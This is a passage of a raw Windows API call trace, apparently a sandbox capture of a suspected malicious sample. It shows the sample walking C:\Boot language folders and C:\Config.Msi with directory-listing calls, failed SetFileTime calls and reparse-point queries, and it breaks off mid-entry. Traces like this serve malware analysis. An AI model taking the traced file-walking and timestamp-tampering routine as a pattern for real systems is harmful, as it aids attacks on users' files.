RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6460 [0039.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ca8 [0039.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.543] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.543] GetLastError () returned 0x12 [0039.543] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0039.543] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0039.543] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.543] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.543] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.543] GetLastError () returned 0x12 [0039.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0039.544] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0039.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0039.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.544] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0039.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.544] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.814] CreateFileW (lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0039.816] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0039.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0039.817] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0039.818] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0039.819] NtClose (Handle=0x16c) returned 0x0 [0039.819] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0039.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0039.821] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-HK\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0039.824] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.824] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.825] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.826] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6480 [0039.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3d30 [0039.828] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.829] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.830] GetLastError () returned 0x12 [0039.831] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-HK\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0039.832] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0039.833] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.834] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.838] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.839] GetLastError () returned 0x12 [0039.839] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0039.840] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0039.841] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0039.842] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.842] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0039.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.844] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.847] CreateFileW (lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0039.849] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0039.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0039.850] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0039.851] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0039.852] NtClose (Handle=0x134) returned 0x0 [0039.853] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0039.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0039.855] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0039.856] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.858] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.858] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.859] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed64a0 [0039.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3db8 [0039.861] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.862] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.863] GetLastError () returned 0x12 [0039.863] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0039.864] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0039.866] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.866] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.867] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.867] GetLastError () returned 0x12 [0039.868] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0039.868] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0039.869] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0039.870] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.870] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0039.872] GetLastError () returned 0x12 [0039.872] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f720) returned 1 [0039.872] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0039.874] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f7a8) returned 1 [0039.874] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0039.875] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0039.875] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0039.875] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0039.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0039.876] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af664 | out: lpFileInformation=0x17af664*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.879] CreateFileW (lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0039.881] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af6a8, lpLastWriteTime=0x17af6a8) returned 0 [0039.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0039.883] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af700, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af700, lpOverlapped=0x0) returned 0 [0039.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0039.884] NtClose (Handle=0x168) returned 0x0 [0039.885] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0039.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0039.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f7a8 [0039.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f720 [0039.887] FindFirstFileExW (in: lpFileName="C:\\Config.Msi\\*", fInfoLevelId=0x1, lpFindFileData=0x17af4b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af4b0) returned 0x459bf8 [0039.889] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.889] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0039.890] GetLastError () returned 0x12 [0039.890] FindFirstFileExW (in: lpFileName="C:\\Config.Msi\\*", fInfoLevelId=0x1, lpFindFileData=0x17af4b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af4b0) returned 0x459b78 [0039.892] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0040.475] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.483] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0040.483] GetLastError () returned 0x12 [0040.484] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f720) returned 1 [0040.484] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0040.484] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f7a8) returned 1 [0040.484] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0040.484] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, 